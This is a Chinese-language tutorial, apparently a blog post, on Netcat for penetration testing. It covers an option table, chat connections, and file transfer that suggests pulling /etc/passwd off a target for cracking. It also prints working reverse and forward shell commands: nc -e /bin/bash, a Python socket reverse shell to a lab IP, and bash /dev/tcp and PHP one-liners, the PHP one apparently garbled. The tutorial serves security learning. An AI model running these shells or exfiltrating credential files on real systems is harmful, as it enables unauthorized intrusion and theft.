Netcat(简称nc)主要用于两台设备之间的交互,即侦听模式/传输,是一款强大的命令行网络工具,用来在两台机器之间建立TCP/UDP连接,并通过标准的输入输出进行数据的读写。
Command
Summary
Command
Summary
-h
帮助信息
-u
UDP模式
-r
随机本地及远程端口
-n
指定数字的IP地址,不能域名服务器
-i
secs 延时的间隔
-v
详细输出——用两个-v可得到更详细的内容
-s
addr本地源地址
-o
file记录16进制的传输
-l
监听模式,用于入站连接
-w
secs timeout 的时间
-t
使用TELNET交互方式
-p
port 本地端口号
-L
连接关闭后,仍然继续监听
-z
将输入输出关掉——用于扫描时
-e
主要用来在渗透过程中反弹shell
nc三种使用方式
- 实现连接通讯
建立连接(服务端——客户端);
服务端:nc -lnvp +端口
客户端:nc + 服务端IP + 端口
代表监听本地的端口,输出结果不加域名。
- 传输文件内容
从客户端传输给服务端,此方法可以用来传递/etc/passwd等口令或密钥信息,获取后可以考虑爆破;
服务端(kali):nc -lvp +端口 > 文件完整名 客户端(靶机):nc + 服务端IP + 端口 < 文件完整名
3. 获取shell
netcat主要用来在渗透过程中反弹shell,获取shell分为两种,一种是正向shell,一种是反向shell:
如果客户端连接服务器端,想要获取服务器端的shell,那么称为正向shell;
如果是客户端连接服务器,服务器端想要获取客户端的 shell,那么称为反向shell。
个人理解:对于client——server而言,正向反向,都是server端连接client端,正向为监听端口在server端,反向为监听端口在client端。
比如,server端监听9999端口,client直接连接9999端口,使得server端获得client的shell权限,这就是正向shell;
反之,client端监听9999端口,server端连接9999端口,使得server端获得client的shell权限,这就是反向shell;
正向shell演示
服务端:nc -lvp + 端口
客户端:nc + 服务端IP + 端口 -e /bin/bash
反向shell演示
服务端:nc -lvp + 端口 -e /bin/bash
客户端:nc + 服务端IP + 端口
客户端没有nc怎么办?如何反弹shell?
可以看是否有python环境?
有的话,用python来反弹shell;
python代替反弹shell脚本:
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.217.11",9999));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);
还可以用bash等来反弹;(实际使用报错)
bash -i >& /dev/tcp/ip/1234 0>&1
还可以用php等来反弹;(实际使用报错)
php -r '$sock=fsockopen("192.168.217.11",9999);exec("/bin/sh -i &3 2>&3");'
版权归原作者 兔子扛刀 所有, 如有侵权,请联系我们删除。